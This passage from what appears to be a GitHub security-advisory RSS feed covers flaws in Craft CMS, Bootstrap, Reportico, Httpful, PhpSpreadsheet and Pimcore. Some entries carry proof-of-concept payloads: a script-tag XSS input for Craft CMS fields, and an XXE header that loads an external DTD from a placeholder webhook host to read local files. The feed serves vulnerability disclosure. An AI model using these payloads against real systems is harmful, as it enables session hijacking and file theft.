        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[craftcms/cms] Craft CMS vulnerable to stored XSS in breadcrumb list and title fields</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Multiple Stored XSS can be triggered by the breadcrumb list and title fields with user input.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Malicious users can tamper with the control panel.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;h4 id=&quot;1-in-the-admincategories-page-category-title-isnt-sanitized-and-triggered-xss&quot;&gt;1. In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Categories page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/4e0f35c7-fbb0-4d38-a0b5-9e28750ff706&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e046b9db-d83c-4f81-ad91-165c5afedeb9&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;2-in-the-category-edit-page-under-the-admincategories-category-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;2. In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Category edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f7543a11-58eb-4099-9ee2-3461816c52ea&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f01bbb80-4417-42ca-bf51-b38860f6c74a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;3-in-the-adminentries-page-entry-title-isnt-sanitized-and-triggered-xss&quot;&gt;3. In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entries page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b255a999-e48c-46be-b732-4482ea9cee9a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/445d8e0c-71b6-49c7-8f4a-37541dcc9c85&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;4-in-the-entry-edit-page-under-the-adminentries-entry-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;4. In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entriy edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a59a122b-b9e7-4695-be13-eb8a1c2d36df&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b0d27446-7ac6-47e7-ac02-20c924698b13&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;5-in-the-adminmyaccount-and-pages-under-it-username-or-full-name-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;5. In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the My Account Page ( /admin/myaccount )
        2. Input the Full Name column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        3. Push the the Save button
        4. Access to the My Account page ( /admin/myaccount ) or pages under it ( /admin/myaccount/addresses , /admin/myaccount/preferences , etc.) and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/3be45bdd-0757-42a8-bc5d-320ab2339fd0&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e1be7446-1c54-42bc-af9a-a8ac81a2d7bf&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/5fa06b26-fecd-40f5-bc8b-171f881f8a2a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&quot;&gt;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-28h4-788g-rh42</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-28h4-788g-rh42</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[nategood/httpful] Httpful is Missing Certificate Validation</title>
      <description>&lt;p&gt;Httpful has Insecure HTTPS Connections due to Missing Default Certificate Validation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/issues/247&quot;&gt;https://github.com/nategood/httpful/issues/247&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&quot;&gt;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&quot;&gt;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&quot;&gt;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&quot;&gt;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&quot;&gt;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twbs/bootstrap] Bootstrap Cross-Site Scripting (XSS) vulnerability</title>
      <description>&lt;p&gt;A vulnerability has been identified in Bootstrap that exposes users to Cross-Site Scripting (XSS) attacks. The issue is present in the carousel component, where the data-slide and data-slide-to attributes can be exploited through the href attribute of an &lt;a&gt; tag due to inadequate sanitization. This vulnerability could potentially enable attackers to execute arbitrary JavaScript within the victim&#39;s browser.&lt;/a&gt;&lt;/p&gt;&lt;a&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;/a&gt;&lt;ul&gt;&lt;a&gt;
        &lt;/a&gt;&lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&quot;&gt;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&quot;&gt;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&quot;&gt;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[reportico-web/reportico] SQL Injection vulnerability in Reportico Till</title>
      <description>&lt;p&gt;SQL Injection vulnerability in Reportico Till 8.1.0 allows attackers to obtain sensitive information or other system information via the project parameter.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/reportico-web/reportico/issues/52&quot;&gt;https://github.com/reportico-web/reportico/issues/52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jjf4-959w-f545&quot;&gt;https://github.com/advisories/GHSA-jjf4-959w-f545&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jjf4-959w-f545</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jjf4-959w-f545</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
